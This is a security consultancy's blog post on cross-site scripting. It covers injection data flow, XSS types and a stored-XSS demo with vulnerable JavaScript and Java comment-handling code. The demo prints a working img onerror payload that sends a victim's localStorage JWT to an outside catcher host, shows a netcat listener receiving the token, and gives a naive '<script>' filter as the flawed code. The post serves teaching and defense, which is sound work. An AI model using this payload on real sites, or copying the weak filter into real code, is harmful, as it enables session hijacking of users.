Blog

Avoiding XSS injection vulnerabilities

In this section, we’ll describe some general principles for preventing cross-site scripting vulnerabilities and ways of using various common technologies

schedule a call

The core idea behind injection vulnerabilities (SQLiNoSQLi, OS cmd, etc.)

user input -> event -> function1 -> function2
                       ^      ^vuln^
    __________________/

sidenote: event sources

  • Storage events
  • DB events
  • Kinesis events
  • API calls
  • Message queues
  • Emails, push, SMS, etc

sidenote: file uploads

  • file names
  • processing files
  • storing files

XSS

alert(document.cookie)

main types:

  • stored and rendered
  • file upload
  • reflected
  • DOM-based

Simple stored XSS: demo

  • simple stored XSS example
  • vulnerability has both backend and frontend parts (split responsibility)
  • will be found by any automated fuzzer, but still very often present

Exploitation demo

<img src="." onerror="$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)">
$ nc -l 8081
OPTIONS /catcher?eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWNrIn0.lLdv2SY2TWzzXVKSahFDWPLcUHwpXpjsLnhwo0ioRFM HTTP/1.1
Host: localhost:8081
Origin: https://tenendo.com:1337
Access-Control-Request-Method: GET
Content-Length: 0
Access-Control-Request-Headers: x-auth-token
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Referer: https://tenendo.com:1337/
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate

Data flow

{"username":"rick","body":"<img src=\".\" onerror=$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)>\""} # request

{
    "id": "d8c58b91-3e17-4fe1-9653-bd06e28783f9",
    "username": "rick",
    "body": "<img src=\".\" onerror=$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)>\"",
    "created_on": "2022-09-21T14:31:35.505+0000"
} # response

rendered:
<img src="." onerror="$.get('https://tenendo.com:8081/catcher?'+localStorage.jwt)">

Vulnerable code example

JS:

  function fetchComments() { // JS
    $.get("https://tenendo.com:8080/comments", function(data){
      $('#comments-container').html('')
      data.forEach(function(comment){
        if (comment.body.indexOf("<script>") < 0) {
          $("#comments-container").append(template(comment));
        }
      });
      setupDeleteCommentHandler();
    });
  }

Java:

@RequestMapping(value = "/comments", method = RequestMethod.POST, produces = "application/json", consumes = "application/json") // comment create request
  Comment createComment(@RequestHeader(value="x-auth-token") String token, @RequestBody CommentRequest input) {
    return Comment.create(input.username, input.body);
  }


public static Comment create(String username, String body){ // comment create (.commit writes to DB)
    long time = new Date().getTime();
    Timestamp timestamp = new Timestamp(time);
    Comment comment = new Comment(UUID.randomUUID().toString(), username, body, timestamp);
    try {
      if (comment.commit()) {
        return comment;
      } else {
        throw new BadRequest("Unable to save comment");
      }
    } catch (Exception e) {
      throw new ServerError(e.getMessage());
    }
  }